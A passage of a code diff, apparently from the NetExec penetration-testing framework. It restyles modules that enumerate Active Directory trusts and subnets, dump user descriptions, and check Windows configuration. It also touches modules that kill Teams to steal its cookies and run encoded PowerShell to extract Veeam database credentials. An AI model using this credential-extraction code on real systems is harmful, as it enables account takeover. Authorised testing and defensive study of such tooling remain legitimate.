||||
continue
|
||||
subnet = searchResEntry_to_dict(subnet)
|
||||
subnet_dn = subnet["distinguishedName"]
|
||||
subnet = search_res_entry_to_dict(subnet)
|
||||
subnet["distinguishedName"]
|
||||
subnet_name = subnet["name"]
|
||||
|
||||
if self.showservers:
|
||||
|
@ -96,28 +94,20 @@ class NXCModule:
|
|||
)
|
||||
if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0:
|
||||
if len(site_description) != 0:
|
||||
context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description))
|
||||
context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name}) (description:"{site_description}")')
|
||||
else:
|
||||
context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name))
|
||||
context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name})')
|
||||
else:
|
||||
for server in list_servers:
|
||||
if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
server = searchResEntry_to_dict(server)["cn"]
|
||||
server = search_res_entry_to_dict(server)["cn"]
|
||||
if len(site_description) != 0:
|
||||
context.log.highlight(
|
||||
'Site "%s" (Subnet:%s) (description:"%s") (Server:%s)'
|
||||
% (
|
||||
site_name,
|
||||
subnet_name,
|
||||
site_description,
|
||||
server,
|
||||
)
|
||||
)
|
||||
context.log.highlight(f"Site: '{site_name}' (Subnet:{subnet_name}) (description:'{site_description}') (Server:'{server}')")
|
||||
else:
|
||||
context.log.highlight('Site "%s" (Subnet:%s) (Server:%s)' % (site_name, subnet_name, server))
|
||||
context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name}) (Server:{server})')
|
||||
else:
|
||||
if len(site_description) != 0:
|
||||
context.log.highlight('Site "%s" (Subnet:%s) (description:"%s")' % (site_name, subnet_name, site_description))
|
||||
context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name}) (description:"{site_description}")')
|
||||
else:
|
||||
context.log.highlight('Site "%s" (Subnet:%s)' % (site_name, subnet_name))
|
||||
context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name})')
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import sqlite3
|
||||
|
||||
|
||||
|
@ -17,7 +14,6 @@ class NXCModule:
|
|||
def on_admin_login(self, context, connection):
|
||||
context.log.display("Killing all Teams process to open the cookie file")
|
||||
connection.execute("taskkill /F /T /IM teams.exe")
|
||||
# sleep(3)
|
||||
found = 0
|
||||
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
|
||||
with open("/tmp/teams_cookies2.txt", "wb") as f:
|
||||
|
@ -48,7 +44,7 @@ class NXCModule:
|
|||
if row is None:
|
||||
context.log.fail("No " + name + " present in Microsoft Teams Cookies database")
|
||||
else:
|
||||
context.log.success("Succesfully extracted " + name + ": ")
|
||||
context.log.success("Successfully extracted " + name + ": ")
|
||||
context.log.success(row[0])
|
||||
conn.close()
|
||||
except Exception as e:
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from sys import exit
|
||||
|
||||
|
||||
|
@ -17,9 +14,7 @@ class NXCModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
HOST Host to ping
|
||||
"""
|
||||
"""HOST Host to ping"""
|
||||
self.host = None
|
||||
|
||||
if "HOST" not in module_options:
|
||||
|
|
|
@ -1,14 +1,15 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
|
||||
class NXCModule:
|
||||
'''
|
||||
Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
|
||||
Module by Brandon Fisher @shad0wcntr0ller
|
||||
'''
|
||||
name = 'enum_trusts'
|
||||
description = 'Extract all Trust Relationships, Trusting Direction, and Trust Transitivity'
|
||||
supported_protocols = ['ldap']
|
||||
"""
|
||||
Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
|
||||
Module by Brandon Fisher @shad0wcntr0ller
|
||||
"""
|
||||
|
||||
name = "enum_trusts"
|
||||
description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
|
@ -16,73 +17,71 @@ class NXCModule:
|
|||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
domain_dn = ','.join(['DC=' + dc for dc in connection.domain.split('.')])
|
||||
search_filter = '(&(objectClass=trustedDomain))'
|
||||
attributes = ['flatName', 'trustPartner', 'trustDirection', 'trustAttributes']
|
||||
domain_dn = ",".join(["DC=" + dc for dc in connection.domain.split(".")])
|
||||
search_filter = "(&(objectClass=trustedDomain))"
|
||||
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
|
||||
|
||||
context.log.debug(f'Search Filter={search_filter}')
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchBase=domain_dn, searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
trusts = []
|
||||
context.log.debug(f'Total of records returned {len(resp)}')
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
flat_name = ''
|
||||
trust_partner = ''
|
||||
trust_direction = ''
|
||||
trust_transitive = []
|
||||
flat_name = ""
|
||||
trust_partner = ""
|
||||
trust_direction = ""
|
||||
trust_transitive = []
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'flatName':
|
||||
flat_name = str(attribute['vals'][0])
|
||||
elif str(attribute['type']) == 'trustPartner':
|
||||
trust_partner = str(attribute['vals'][0])
|
||||
elif str(attribute['type']) == 'trustDirection':
|
||||
if str(attribute['vals'][0]) == '1':
|
||||
trust_direction = 'Inbound'
|
||||
elif str(attribute['vals'][0]) == '2':
|
||||
trust_direction = 'Outbound'
|
||||
elif str(attribute['vals'][0]) == '3':
|
||||
trust_direction = 'Bidirectional'
|
||||
elif str(attribute['type']) == 'trustAttributes':
|
||||
trust_attributes_value = int(attribute['vals'][0])
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "flatName":
|
||||
flat_name = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "trustPartner":
|
||||
trust_partner = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "trustDirection":
|
||||
if str(attribute["vals"][0]) == "1":
|
||||
trust_direction = "Inbound"
|
||||
elif str(attribute["vals"][0]) == "2":
|
||||
trust_direction = "Outbound"
|
||||
elif str(attribute["vals"][0]) == "3":
|
||||
trust_direction = "Bidirectional"
|
||||
elif str(attribute["type"]) == "trustAttributes":
|
||||
trust_attributes_value = int(attribute["vals"][0])
|
||||
if trust_attributes_value & 0x1:
|
||||
trust_transitive.append('Non-Transitive')
|
||||
trust_transitive.append("Non-Transitive")
|
||||
if trust_attributes_value & 0x2:
|
||||
trust_transitive.append('Uplevel-Only')
|
||||
trust_transitive.append("Uplevel-Only")
|
||||
if trust_attributes_value & 0x4:
|
||||
trust_transitive.append('Quarantined Domain')
|
||||
trust_transitive.append("Quarantined Domain")
|
||||
if trust_attributes_value & 0x8:
|
||||
trust_transitive.append('Forest Transitive')
|
||||
trust_transitive.append("Forest Transitive")
|
||||
if trust_attributes_value & 0x10:
|
||||
trust_transitive.append('Cross Organization')
|
||||
trust_transitive.append("Cross Organization")
|
||||
if trust_attributes_value & 0x20:
|
||||
trust_transitive.append('Within Forest')
|
||||
trust_transitive.append("Within Forest")
|
||||
if trust_attributes_value & 0x40:
|
||||
trust_transitive.append('Treat as External')
|
||||
trust_transitive.append("Treat as External")
|
||||
if trust_attributes_value & 0x80:
|
||||
trust_transitive.append('Uses RC4 Encryption')
|
||||
trust_transitive.append("Uses RC4 Encryption")
|
||||
if trust_attributes_value & 0x100:
|
||||
trust_transitive.append('Cross Organization No TGT Delegation')
|
||||
trust_transitive.append("Cross Organization No TGT Delegation")
|
||||
if trust_attributes_value & 0x2000:
|
||||
trust_transitive.append('PAM Trust')
|
||||
trust_transitive.append("PAM Trust")
|
||||
if not trust_transitive:
|
||||
trust_transitive.append('Other')
|
||||
trust_transitive = ', '.join(trust_transitive)
|
||||
trust_transitive.append("Other")
|
||||
trust_transitive = ", ".join(trust_transitive)
|
||||
|
||||
if flat_name and trust_partner and trust_direction and trust_transitive:
|
||||
trusts.append((flat_name, trust_partner, trust_direction, trust_transitive))
|
||||
except Exception as e:
|
||||
context.log.debug(f'Cannot process trust relationship due to error {e}')
|
||||
pass
|
||||
context.log.debug(f"Cannot process trust relationship due to error {e}")
|
||||
|
||||
if trusts:
|
||||
context.log.success('Found the following trust relationships:')
|
||||
context.log.success("Found the following trust relationships:")
|
||||
for trust in trusts:
|
||||
context.log.highlight(f'{trust[1]} -> {trust[2]} -> {trust[3]}')
|
||||
context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}")
|
||||
else:
|
||||
context.log.display('No trust relationships found')
|
||||
context.log.display("No trust relationships found")
|
||||
|
||||
return True
|
||||
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import logging
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
|
@ -31,10 +28,10 @@ class NXCModule:
|
|||
def options(self, context, module_options):
|
||||
"""
|
||||
LDAP_FILTER Custom LDAP search filter (fully replaces the default search)
|
||||
DESC_FILTER An additional seach filter for descriptions (supports wildcard *)
|
||||
DESC_INVERT An additional seach filter for descriptions (shows non matching)
|
||||
USER_FILTER An additional seach filter for usernames (supports wildcard *)
|
||||
USER_INVERT An additional seach filter for usernames (shows non matching)
|
||||
DESC_FILTER An additional search filter for descriptions (supports wildcard *)
|
||||
DESC_INVERT An additional search filter for descriptions (shows non matching)
|
||||
USER_FILTER An additional search filter for usernames (supports wildcard *)
|
||||
USER_INVERT An additional search filter for usernames (shows non matching)
|
||||
KEYWORDS Use a custom set of keywords (comma separated)
|
||||
ADD_KEYWORDS Add additional keywords to the default set (comma separated)
|
||||
"""
|
||||
|
@ -87,25 +84,21 @@ class NXCModule:
|
|||
perRecordCallback=self.process_record,
|
||||
)
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(f"Obtained unexpected exception: {str(e)}")
|
||||
context.log.fail(f"Obtained unexpected exception: {e!s}")
|
||||
finally:
|
||||
self.delete_log_file()
|
||||
|
||||
def create_log_file(self, host, time):
|
||||
"""
|
||||
Create a log file for dumping user descriptions.
|
||||
"""
|
||||
"""Create a log file for dumping user descriptions."""
|
||||
logfile = f"UserDesc-{host}-{time}.log"
|
||||
logfile = Path.home().joinpath(".nxc").joinpath("logs").joinpath(logfile)
|
||||
|
||||
self.context.log.info(f"Creating log file '{logfile}'")
|
||||
self.log_file = open(logfile, "w")
|
||||
self.log_file = open(logfile, "w") # noqa: SIM115
|
||||
self.append_to_log("User:", "Description:")
|
||||
|
||||
def delete_log_file(self):
|
||||
"""
|
||||
Closes the log file.
|
||||
"""
|
||||
"""Closes the log file."""
|
||||
try:
|
||||
self.log_file.close()
|
||||
info = f"Saved {self.desc_count} user descriptions to {self.log_file.name}"
|
||||
|
@ -145,7 +138,7 @@ class NXCModule:
|
|||
description = attribute["vals"][0].asOctets().decode("utf-8")
|
||||
except Exception as e:
|
||||
entry = sAMAccountName or "item"
|
||||
self.context.error(f"Skipping {entry}, cannot process LDAP entry due to error: '{str(e)}'")
|
||||
self.context.error(f"Skipping {entry}, cannot process LDAP entry due to error: '{e!s}'")
|
||||
|
||||
if description and sAMAccountName not in self.account_names:
|
||||
self.desc_count += 1
|
||||
|
@ -170,7 +163,4 @@ class NXCModule:
|
|||
More dedicated searches for sensitive information should be done using the logfile.
|
||||
This allows you to refine your search query at any time without having to pull data from AD again.
|
||||
"""
|
||||
for keyword in self.keywords:
|
||||
if keyword.lower() in description.lower():
|
||||
return True
|
||||
return False
|
||||
return any(keyword.lower() in description.lower() for keyword in self.keywords)
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Initially created by @sadshade, all output to him:
|
||||
# https://github.com/sadshade/veeam-output
|
||||
|
||||
|
@ -12,9 +10,7 @@ from nxc.helpers.powershell import get_ps_script
|
|||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by @NeffIsBack, @Marshall-Hallenbeck
|
||||
"""
|
||||
"""Module by @NeffIsBack, @Marshall-Hallenbeck"""
|
||||
|
||||
name = "veeam"
|
||||
description = "Extracts credentials from local Veeam SQL Database"
|
||||
|
@ -23,16 +19,13 @@ class NXCModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
with open(get_ps_script("veeam_dump_module/veeam_dump_mssql.ps1"), "r") as psFile:
|
||||
with open(get_ps_script("veeam_dump_module/veeam_dump_mssql.ps1")) as psFile:
|
||||
self.psScriptMssql = psFile.read()
|
||||
with open(get_ps_script("veeam_dump_module/veeam_dump_postgresql.ps1"), "r") as psFile:
|
||||
with open(get_ps_script("veeam_dump_module/veeam_dump_postgresql.ps1")) as psFile:
|
||||
self.psScriptPostgresql = psFile.read()
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
No options
|
||||
"""
|
||||
pass
|
||||
"""No options"""
|
||||
|
||||
def checkVeeamInstalled(self, context, connection):
|
||||
context.log.display("Looking for Veeam installation...")
|
||||
|
@ -56,7 +49,7 @@ class NXCModule:
|
|||
|
||||
# Veeam v12 check
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations",)
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations")
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
database_config = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlActiveConfiguration")[1].split("\x00")[:-1][0]
|
||||
|
@ -64,16 +57,16 @@ class NXCModule:
|
|||
context.log.success("Veeam v12 installation found!")
|
||||
if database_config == "PostgreSql":
|
||||
# Find the PostgreSql installation path containing "psql.exe"
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\PostgreSQL Global Development Group\\PostgreSQL",)
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\PostgreSQL Global Development Group\\PostgreSQL")
|
||||
keyHandle = ans["phkResult"]
|
||||
PostgreSqlExec = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Location")[1].split("\x00")[:-1][0] + "\\bin\\psql.exe"
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\PostgreSQL",)
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\PostgreSQL")
|
||||
keyHandle = ans["phkResult"]
|
||||
PostgresUserForWindowsAuth = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "PostgresUserForWindowsAuth")[1].split("\x00")[:-1][0]
|
||||
SqlDatabaseName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
elif database_config == "MsSql":
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\MsSql",)
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\DatabaseConfigurations\\MsSql")
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
|
@ -88,7 +81,7 @@ class NXCModule:
|
|||
|
||||
# Veeam v11 check
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication",)
|
||||
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication")
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
|
||||
|
@ -102,9 +95,6 @@ class NXCModule:
|
|||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
|
||||
except NotImplementedError as e:
|
||||
pass
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
|
@ -126,14 +116,14 @@ class NXCModule:
|
|||
|
||||
def stripXmlOutput(self, context, output):
|
||||
return output.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
|
||||
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
|
||||
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
|
||||
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
|
||||
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
|
||||
|
||||
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
|
||||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
|
||||
|
@ -141,7 +131,7 @@ class NXCModule:
|
|||
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
|
||||
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
|
||||
|
||||
return connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
|
||||
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
|
||||
|
||||
def printCreds(self, context, output):
|
||||
# Format output if returned in some XML Format
|
||||
|
@ -163,8 +153,8 @@ class NXCModule:
|
|||
user, password = account.split(" ", 1)
|
||||
password = password.replace("WHITESPACE_ERROR", " ")
|
||||
context.log.highlight(user + ":" + f"{password}")
|
||||
if ' ' in password:
|
||||
context.log.fail(f"Password contains whitespaces! The password for user \"{user}\" is: \"{password}\"")
|
||||
if " " in password:
|
||||
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.checkVeeamInstalled(context, connection)
|
||||
|
|
|
@ -1,26 +1,22 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import json
|
||||
import logging
|
||||
import operator
|
||||
import sys
|
||||
import time
|
||||
|
||||
from impacket.system_errors import ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND, ERROR_OBJECT_NOT_FOUND
|
||||
from termcolor import colored
|
||||
|
||||
from nxc.logger import nxc_logger
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp, samr, scmr
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
from impacket.smbconnection import SessionError as SMBSessionError
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.system_errors import *
|
||||
|
||||
# Configuration variables
|
||||
OUTDATED_THRESHOLD = 30
|
||||
DEFAULT_OUTPUT_FILE = './wcc_results.json'
|
||||
DEFAULT_OUTPUT_FORMAT = 'json'
|
||||
VALID_OUTPUT_FORMATS = ['json', 'csv']
|
||||
DEFAULT_OUTPUT_FILE = "./wcc_results.json"
|
||||
DEFAULT_OUTPUT_FORMAT = "json"
|
||||
VALID_OUTPUT_FORMATS = ["json", "csv"]
|
||||
|
||||
# Registry value types
|
||||
REG_VALUE_TYPE_UNDEFINED = 0
|
||||
|
@ -33,28 +29,34 @@ REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE = 7
|
|||
REG_VALUE_TYPE_64BIT_LE = 11
|
||||
|
||||
# Setup file logger
|
||||
if 'wcc_logger' not in globals():
|
||||
wcc_logger = logging.getLogger('WCC')
|
||||
if "wcc_logger" not in globals():
|
||||
wcc_logger = logging.getLogger("WCC")
|
||||
wcc_logger.propagate = False
|
||||
log_filename = nxc_logger.init_log_file()
|
||||
log_filename = log_filename.replace('log_', 'wcc_')
|
||||
log_filename = log_filename.replace("log_", "wcc_")
|
||||
wcc_logger.setLevel(logging.INFO)
|
||||
wcc_file_handler = logging.FileHandler(log_filename)
|
||||
wcc_file_handler.setFormatter(logging.Formatter('%(asctime)s [%(levelname)s] %(message)s'))
|
||||
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
|
||||
wcc_logger.addHandler(wcc_file_handler)
|
||||
|
||||
|
||||
class ConfigCheck:
|
||||
"""
|
||||
Class for performing the checks and holding the results
|
||||
"""
|
||||
"""Class for performing the checks and holding the results"""
|
||||
|
||||
module = None
|
||||
|
||||
def __init__(self, name, description="", checkers=[None], checker_args=[[]], checker_kwargs=[{}]):
|
||||
def __init__(self, name, description="", checkers=None, checker_args=None, checker_kwargs=None):
|
||||
if checker_kwargs is None:
|
||||
checker_kwargs = [{}]
|
||||
if checker_args is None:
|
||||
checker_args = [[]]
|
||||
if checkers is None:
|
||||
checkers = [None]
|
||||
self.check_id = None
|
||||
self.name = name
|
||||
self.description = description
|
||||
assert len(checkers) == len(checker_args) and len(checkers) == len(checker_kwargs)
|
||||
assert len(checkers) == len(checker_args)
|
||||
assert len(checkers) == len(checker_kwargs)
|
||||
self.checkers = checkers
|
||||
self.checker_args = checker_args
|
||||
self.checker_kwargs = checker_kwargs
|
||||
|
@ -71,49 +73,51 @@ class ConfigCheck:
|
|||
self.reasons.extend(reasons)
|
||||
|
||||
def log(self, context):
|
||||
result = 'passed' if self.ok else 'did not pass'
|
||||
reasons = ', '.join(self.reasons)
|
||||
result = "passed" if self.ok else "did not pass"
|
||||
reasons = ", ".join(self.reasons)
|
||||
wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
|
||||
if self.module.quiet:
|
||||
return
|
||||
|
||||
status = colored('OK', 'green', attrs=['bold']) if self.ok else colored('KO', 'red', attrs=['bold'])
|
||||
reasons = ": " + ', '.join(self.reasons)
|
||||
msg = f'{status} {self.name}'
|
||||
info_msg = f'{status} {self.name}{reasons}'
|
||||
status = colored("OK", "green", attrs=["bold"]) if self.ok else colored("KO", "red", attrs=["bold"])
|
||||
reasons = ": " + ", ".join(self.reasons)
|
||||
msg = f"{status} {self.name}"
|
||||
info_msg = f"{status} {self.name}{reasons}"
|
||||
context.log.highlight(msg)
|
||||
context.log.info(info_msg)
|
||||
|
||||
|
||||
class NXCModule:
|
||||
'''
|
||||
"""
|
||||
Windows Configuration Checker
|
||||
|
||||
Module author: @__fpr (Orange Cyberdefense)
|
||||
'''
|
||||
name = 'wcc'
|
||||
description = 'Check various security configuration items on Windows machines'
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe= True
|
||||
"""
|
||||
|
||||
name = "wcc"
|
||||
description = "Check various security configuration items on Windows machines"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
"""
|
||||
OUTPUT_FORMAT Format for report (Default: 'json')
|
||||
OUTPUT Path for report
|
||||
QUIET Do not print results to stdout (Default: False)
|
||||
'''
|
||||
self.output = module_options.get('OUTPUT')
|
||||
self.output_format = module_options.get('OUTPUT_FORMAT', DEFAULT_OUTPUT_FORMAT)
|
||||
"""
|
||||
self.output = module_options.get("OUTPUT")
|
||||
self.output_format = module_options.get("OUTPUT_FORMAT", DEFAULT_OUTPUT_FORMAT)
|
||||
if self.output_format not in VALID_OUTPUT_FORMATS:
|
||||
self.output_format = DEFAULT_OUTPUT_FORMAT
|
||||
self.quiet = module_options.get('QUIET', 'false').lower() in ('true', '1')
|
||||
self.quiet = module_options.get("QUIET", "false").lower() in ("true", "1")
|
||||
|
||||
self.results = {}
|
||||
ConfigCheck.module = self
|
||||
HostChecker.module = self
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.results.setdefault(connection.host, {'checks':[]})
|
||||
self.results.setdefault(connection.host, {"checks": []})
|
||||
self.context = context
|
||||
HostChecker(context, connection).run()
|
||||
|
||||
|
@ -122,28 +126,24 @@ class NXCModule:
|
|||
self.export_results()
|
||||
|
||||
def add_result(self, host, result):
|
||||
self.results[host]['checks'].append({
|
||||
"Check":result.name,
|
||||
"Description":result.description,
|
||||
"Status":'OK' if result.ok else 'KO',
|
||||
"Reasons":result.reasons
|
||||
})
|
||||
self.results[host]["checks"].append({"Check": result.name, "Description": result.description, "Status": "OK" if result.ok else "KO", "Reasons": result.reasons})
|
||||
|
||||
def export_results(self):
|
||||
with open(self.output, 'w') as output:
|
||||
if self.output_format == 'json':
|
||||
with open(self.output, "w") as output:
|
||||
if self.output_format == "json":
|
||||
json.dump(self.results, output)
|
||||
elif self.output_format == 'csv':
|
||||
output.write('Host,Check,Description,Status,Reasons')
|
||||
elif self.output_format == "csv":
|
||||
output.write("Host,Check,Description,Status,Reasons")
|
||||
for host in self.results:
|
||||
for result in self.results[host]['checks']:
|
||||
output.write(f'\n{host}')
|
||||
for field in (result['Check'], result['Description'], result['Status'], ' ; '.join(result['Reasons']).replace('\x00','')):
|
||||
if ',' in field:
|
||||
for result in self.results[host]["checks"]:
|
||||
output.write(f"\n{host}")
|
||||
for field in (result["Check"], result["Description"], result["Status"], " ; ".join(result["Reasons"]).replace("\x00", "")):
|
||||
if "," in field:
|
||||
field = field.replace('"', '""')
|
||||
field = f'"{field}"'
|
||||
output.write(f',{field}')
|
||||
self.context.log.success(f'Results written to {self.output}')
|
||||
output.write(f",{field}")
|
||||
self.context.log.success(f"Results written to {self.output}")
|
||||
|
||||
|
||||
class HostChecker:
|
||||
module = None
|
||||
|
@ -168,153 +168,47 @@ class HostChecker:
|
|||
def init_checks(self):
|
||||
# Declare the checks to do and how to do them
|
||||
self.checks = [
|
||||
ConfigCheck('Last successful update', 'Checks how old is the last successful update', checkers=[self.check_last_successful_update]),
|
||||
ConfigCheck('LAPS', 'Checks if LAPS is installed', checkers=[self.check_laps]),
|
||||
ConfigCheck("Administrator's name", 'Checks if Administror user name has been changed', checkers=[self.check_administrator_name]),
|
||||
ConfigCheck('UAC configuration', 'Checks if UAC configuration is secure', checker_args=[[
|
||||
self,
|
||||
(
|
||||
'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System',
|
||||
'EnableLUA', 1
|
||||
),(
|
||||
'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System',
|
||||
'LocalAccountTokenFilterPolicy', 0
|
||||
)]]),
|
||||
ConfigCheck('Hash storage format', 'Checks if storing hashes in LM format is disabled', checker_args=[[self, (
|
||||
'HKLM\\System\\CurrentControlSet\\Control\\Lsa',
|
||||
'NoLMHash', 1
|
||||
)]]),
|
||||
ConfigCheck('Always install elevated', 'Checks if AlwaysInstallElevated is disabled', checker_args=[[self, (
|
||||
'HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer',
|
||||
'AlwaysInstallElevated', 0
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('IPv6 preference', 'Checks if IPv6 is preferred over IPv4', checker_args=[[self, (
|
||||
'HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters',
|
||||
'DisabledComponents', (32, 255), in_
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('Spooler service', 'Checks if the spooler service is disabled', checkers=[self.check_spooler_service]),
|
||||
ConfigCheck('WDigest authentication', 'Checks if WDigest authentication is disabled', checker_args=[[self, (
|
||||
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest',
|
||||
'UseLogonCredential', 0
|
||||
)
|
||||
]]),
|
||||
ConfigCheck('WSUS configuration', 'Checks if WSUS configuration uses HTTPS', checkers=[self.check_wsus_running, None], checker_args=[[], [self, (
|
||||
